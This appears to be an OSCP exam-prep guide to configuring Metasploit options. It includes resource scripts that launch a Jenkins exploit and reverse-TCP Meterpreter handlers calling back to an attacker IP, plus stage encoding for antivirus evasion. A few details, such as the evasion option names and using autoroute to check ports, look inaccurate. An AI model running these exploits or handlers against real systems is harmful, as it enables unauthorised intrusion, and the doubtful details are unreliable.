Setting Options
Configuring Metasploit module options correctly is one of the most frequently performed actions during the OSCP exam. Every exploit, every auxiliary module, and every post-exploitation script requires precise parameter tuning. A single misconfigured option — typically LHOST or RHOSTS — is the most common cause of exploit failure. This guide provides a thorough, exam-focused reference for every aspect of Metasploit option configuration.
1. Understanding Module Options
Required vs. Optional Options
When you run show options inside an active module context, Metasploit displays a table with the following columns:
| Column | Description |
|---|---|
| Name | The option identifier (e.g., RHOSTS, LHOST) |
| Current Setting | The value currently assigned (blank if not set) |
| Required | yes = must be set before exploitation; no = has a sensible default |
| Description | What the option controls |
Required options (Required: yes) must be configured before the module will execute. If any required option is unset, exploit or run will fail with an error listing the missing parameters.
Optional options (Required: no) have default values that work in most scenarios. You only need to change them when the default doesn’t match your environment.
Option Types
Metasploit options fall into several categories:
- Connection options: Define where to attack (
RHOSTS,RPORT) and where to listen (LHOST,LPORT). - Payload options: Define what runs on the target (
PAYLOAD,EXITFUNC,PrependMigrate). - Authentication options: Credentials for authenticated exploits (
USERNAME,PASSWORD). - Module-specific options: Unique to each exploit (e.g.,
TARGETURI,FILENAME,PATH). - Advanced options: Hidden by default; control encoding, timeouts, migration, and automation.
- Evasion options: Control obfuscation techniques to bypass IDS/IPS (rarely needed for OSCP).
Example show options Output
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with protocol
RPORT 445 yes The target port (TCP)
SMBDomain . no (Workgroup) Name
SMBPass no The password for the authentication
SMBUser no The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64)
Notice the output is split into Module options and Payload options. Both sets must be satisfied for exploitation to proceed.
2. Common Options Reference
The following table covers every option you will encounter repeatedly during the OSCP exam.
| Option | Required | Default | Description | Typical OSCP Value |
|---|---|---|---|---|
RHOSTS |
yes | (blank) | Remote target host(s). Accepts single IP, CIDR range, or comma-separated list | Target machine IP (e.g., 10.10.10.10) |
RHOST |
yes | (blank) | Single remote host (used by some older modules instead of RHOSTS) |
Same as RHOSTS |
LHOST |
yes | (blank) | Local host — the attacker IP where the reverse connection is received | Your T-Pot / attack machine IP (e.g., 10.10.14.5) |
LPORT |
yes | 4444 | Local port — the port the handler listens on | 4444 (default), change if conflicted |
RPORT |
no | Varies | Remote port the exploit targets | Module default (e.g., 445 for SMB, 80 for HTTP) |
SRVHOST |
no | 0.0.0.0 | IP the exploit’s web service binds to (for server-side exploits) | Usually leave default |
SRVPORT |
no | 8080 | Port the exploit’s web service listens on | Usually leave default |
URI / TARGETURI |
no | / |
Path portion of the URL for web exploits | /vulnapp/, /manager/, etc. |
USERNAME |
no | (blank) | Username for authenticated exploits | Discovered credentials |
PASSWORD |
no | (blank) | Password for authenticated exploits | Discovered credentials |
PAYLOAD |
no | Varies | The payload stage to deliver | windows/x64/meterpreter/reverse_tcp |
THREADS |
no | 1 | Number of concurrent threads (auxiliary modules) | Increase for scanning (e.g., 10, 50) |
VERBOSE |
no | false | Show detailed output | true for debugging |
PROXYHOST |
no | (blank) | HTTP proxy host (for web modules) | Rarely used in OSCP |
PROXYPORT |
no | (blank) | HTTP proxy port | Rarely used in OSCP |
SSL |
no | false | Use SSL/TLS for the connection | true if target uses HTTPS |
CN |
no | (blank) | Certificate name for SSL exploits | Rarely used |
EXE::Custom |
no | (blank) | Path to a custom executable to deliver instead of payload | Rarely used in OSCP |
Critical Distinction: LHOST vs. SRVHOST
LHOST= Where the reverse connection comes back to (your attacker IP). Used by reverse payloads.SRVHOST= Where the exploit serves its malicious content from. Used by exploits that host a web server (e.g., Java applet exploits, browser exploits).
In most OSCP scenarios, you only need LHOST. Confusing these two is a common beginner mistake.
3. Setting Options Commands
set — Set an Option for the Current Module
set <OPTION> <VALUE>
The set command assigns a value to an option within the current module context only. If you switch to a different module, the set values do not carry over.
msf6 exploit(multi/http/jenkins_script_console) > set RHOSTS 10.10.10.10
RHOSTS => 10.10.10.10
msf6 exploit(multi/http/jenkins_script_console) > set LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 exploit(multi/http/jenkins_script_console) > set TARGETURI /jenkins
TARGETURI => /jenkins
setg — Set a Global Option
setg <OPTION> <VALUE>
The setg command assigns a value globally across all modules in the current Metasploit session. Any module that supports the option will inherit this value automatically.
msf6 > setg LHOST 10.10.14.5
LHOST => 10.10.14.5
msf6 > use exploit/multi/http/jenkins_script_console
msf6 exploit(multi/http/jenkins_script_console) > show options
...
LHOST 10.10.14.5 yes The listen address
...
Notice that LHOST was automatically populated even though we never ran set LHOST inside this module.
unset — Remove an Option Value
unset <OPTION>
Removes the value for the specified option in the current module context, reverting to the default (if one exists).
msf6 exploit(multi/http/jenkins_script_console) > unset LHOST
[*] LHOST is now (empty)
unsetg — Remove a Global Option Value
unsetg <OPTION>
Removes the global value. Existing modules that already inherited the value are not retroactively affected, but new modules will no longer receive it.
msf6 > unsetg LHOST
[*] LHOST global value removed
Command Summary Table
| Command | Scope | Persistence | Use Case |
|---|---|---|---|
set |
Current module only | Lost when switching modules | One-off configuration |
setg |
All modules in session | Persists across module switches | Values used everywhere (LHOST) |
unset |
Current module only | N/A | Revert a module-specific change |
unsetg |
Global scope | N/A | Remove a global default |
4. set vs setg — Deep Dive
Scope and Inheritance Rules
The interaction between set and setg follows a clear priority chain:
- Module-level
settakes highest priority. If youset LHOST 1.2.3.4inside a module, it overrides anysetg LHOSTvalue. - Global
setgis the fallback. If the module has no local value for an option, Metasploit checks the global store. - Module default is the last resort. If neither local nor global values exist, the module’s built-in default applies.
Priority: set (local) > setg (global) > module default
When to Use set
Use set for options that are unique to a specific target or module:
RHOSTS— Each target has a different IPRPORT— Services run on different portsUSERNAME/PASSWORD— Credentials are target-specificTARGETURI— Web application paths differ per targetPAYLOAD— You might use different payloads for different targets
When to Use setg
Use setg for options that are identical across all exploitation attempts:
LHOST— Your attacker IP never changes during an examLPORT— If you always use the same listener portVERBOSE— If you want verbose output everywhere
OSCP Best Practice
Always use setg LHOST <your-attacker-IP> at the very beginning of your Metasploit session. This single command saves dozens of repetitive set LHOST calls across the exam.
msf6 > setg LHOST 10.10.14.5
LHOST => 10.10.14.5
Now every exploit, auxiliary, and post module that has an LHOST option will automatically inherit this value.
Common Pitfall: Forgotten LHOST
The #1 reason Metasploit exploits “fail silently” on the OSCP exam is an unset LHOST. The exploit may appear to run successfully, but the reverse shell never connects because the payload doesn’t know where to call back. Always verify:
show options
Before running exploit. If LHOST shows blank under “Current Setting” for a reverse payload, the exploit will not work.
5. Advanced Options
Advanced options are hidden from show options by default. Display them with:
show advanced
Key Advanced Options for OSCP
| Option | Default | Description | OSCP Relevance |
|---|---|---|---|
EnableStageEncoding |
false |
Encodes the payload stage (stage 2) to evade basic AV/IDS | Useful when default payload is blocked |
StageEncoder |
x86/shikata_ga_nai |
Encoder used when EnableStageEncoding is true |
Change if default encoder fails |
StageEncoderFallback |
true |
Try alternative encoders if the primary fails | Leave enabled for reliability |
ContextInformation |
(blank) | Adds a comment to the payload for identification | Set to target IP for multi-handler tracking |
AutoRunScript |
(blank) | Meterpreter script to run automatically on session open | migrate -f for process migration |
PrependMigrate |
(blank) | PID or process name to migrate into after payload delivery | Rarely needed; prefer manual migration |
Timeout |
Varies | Maximum time to wait for operations | Increase for slow targets |
ConnectTimeout |
10 | Seconds to wait for TCP connection | Increase for laggy lab machines |
MaxRetryTime |
0 | Maximum time for retry operations | Useful for unreliable connections |
HTTPS |
false |
Use HTTPS for the exploit server | Set true for HTTPS-only targets |
URIPATH |
(auto-generated) | Custom URI path for the exploit server | Useful for evasion |
EnableStageEncoding — When and How
Some OSCP machines have basic antivirus or host-based firewall rules that detect and block the default Meterpreter stage. When a reverse TCP payload fails to return a session despite correct options, try enabling stage encoding:
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
exploit
This encodes the second stage of the payload, making it harder for basic AV signatures to detect. Note that encoding adds overhead and may cause instability on some targets.
ContextInformation — Session Identification
When running multiple handlers against multiple targets, sessions can become hard to distinguish. Use ContextInformation to tag each payload:
set ContextInformation TARGET=10.10.10.10
This comment appears in the Meterpreter prompt and in sessions -l output, helping you identify which session belongs to which target.
AutoRunScript — Automation
The AutoRunScript advanced option lets you execute a Meterpreter script immediately upon session creation:
set AutoRunScript migrate -f
This automatically migrates the Meterpreter process to explorer.exe (or another stable process) as soon as the session opens, improving stability. However, for OSCP, manual migration is often preferred so you can verify the process list and choose the right target.
Timeout and ConnectTimeout
Lab machines in the OSCP exam can sometimes be slow to respond. If an exploit fails with a timeout error, increase these values:
set Timeout 30
set ConnectTimeout 30
6. Evasion Options
Evasion options control techniques that attempt to bypass security products. View them with:
show evasion
| Option | Description |
|---|---|
FingerprintMethods |
HTTP methods used during fingerprinting |
URIName |
Randomized URI component for obfuscation |
SendWildcards |
Use wildcard characters in requests |
UACaop |
User-Agent obfuscation |
When Are Evasion Options Useful?
For the OSCP exam, evasion options are rarely necessary. The lab machines typically do not run active IDS/IPS that inspect Metasploit traffic. Focus your time on:
- Correct option configuration (
RHOSTS,LHOST,LPORT) - Proper payload selection
- Post-exploitation and privilege escalation
Evasion options become more relevant in real-world engagements or advanced certifications (OSWE, OSEP).
7. Batch Configuration Patterns
Resource Scripts
A resource script (.rc file) is a text file containing Metasploit commands that execute sequentially. This is the most efficient way to configure and run exploits without interactive input.
Example: exploit_jenkins.rc
use exploit/multi/http/jenkins_script_console
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set TARGETURI /jenkins
exploit -j -z
Execute it from the Metasploit console:
msf6 > resource exploit_jenkins.rc
Or from the command line:
msfconsole -r exploit_jenkins.rc
Template Block Pattern
For exams, maintain a reusable template in your notes:
use <exploit_path>
set RHOSTS <target_ip>
set LHOST <attacker_ip>
set LPORT <port>
set <module_specific_option> <value>
show options # Verify all required options are set
exploit -j -z # Run in background, don't auto-session
Multi-Target Scanning with Auxiliary Modules
For auxiliary scanner modules, increase threads for speed:
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.10.0/24
set THREADS 50
set STOP_ON_SUCCESS false
run
Handler Resource Script
Create a dedicated handler script for managing multiple listeners:
# handlers.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4445
exploit -j -z
8. OSCP Tips and Quick Checklist
Golden Rules
-
Always run
setg LHOST <your-attacker-IP>immediately after startingmsfconsole. This is the single most impactful habit for exam efficiency. -
Always run
show optionsbeforeexploit. Take 3 seconds to verify everyRequired: yesfield has a value. This prevents the frustration of a “successful” exploit that returns no session. -
Use
exploit -j -zfor background execution:-j= job mode (runs in background, returns you to the console)-z= do not attach to the session automatically (lets the reverse connection complete on its own time)
-
Common port defaults to memorize:
| Service | Default Port | Common Metasploit Module |
|---|---|---|
| HTTP | 80 | Various web exploits |
| HTTPS | 443 | Various web exploits |
| SMB | 445 | EternalBlue, SMB scanners |
| WinRM | 5985 / 5986 | psexec, winrm modules |
| SSH | 22 | SSH auth scanners |
| FTP | 21 | FTP exploits |
| RDP | 3389 | BlueKeep, RDP scanners |
| MSSQL | 1433 | SQL Server exploits |
| Oracle | 1521 | Oracle exploits |
| Tomcat AJP | 8009 | AJP exploits |
-
When a reverse shell doesn’t connect:
- Verify
LHOSTis your tun0 / attack interface IP (not your internal NIC) - Verify
LPORTis not already in use (run post/multi/manage/autorouteor check withnetstat) - Check if the target firewall blocks inbound connections to your IP
- Try a different
LPORT(e.g.,80,443,8080) - Try
bind_tcppayload as an alternative
- Verify
-
Session management after exploitation:
sessions -l # List all active sessions
sessions -i 1 # Interact with session 1
sessions -u 1 # Upgrade session to full Meterpreter (if possible)
sessions -k 1 # Kill session 1
sessions -K # Kill all sessions
Pre-Exploitation Checklist
Before hitting exploit, mentally verify:
-
RHOSTS= correct target IP -
LHOST= correct attacker IP (your tun0 interface) -
LPORT= available, non-conflicting port -
RPORT= correct service port (or changed if non-standard) -
PAYLOAD= appropriate for target OS and architecture - Module-specific options (
TARGETURI,USERNAME,PASSWORD) = set if required - All
Required: yesoptions have values (confirmed viashow options)
Quick Reference Card
# Start Metasploit
msfconsole
# Set global LHOST (do this first!)
setg LHOST 10.10.14.5
# Search for a module
search <keyword>
# Use a module
use <module_path>
# View and configure options
show options
set <OPTION> <VALUE>
# Run exploit (background)
exploit -j -z
# Check sessions
sessions -l
sessions -i <number>
# Run a handler manually
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <ip>
set LPORT <port>
exploit -j -z
Summary
Mastering Metasploit option configuration is foundational to OSCP success. The key takeaways:
setg LHOSTat session start saves time and prevents errorsshow optionsbefore every exploit is non-negotiableexploit -j -zkeeps your console responsive- Advanced options like
EnableStageEncodingare your backup when payloads get blocked - Resource scripts automate repetitive configurations for efficiency
With these patterns internalized, Metasploit becomes a reliable, predictable tool rather than a source of confusion during the exam.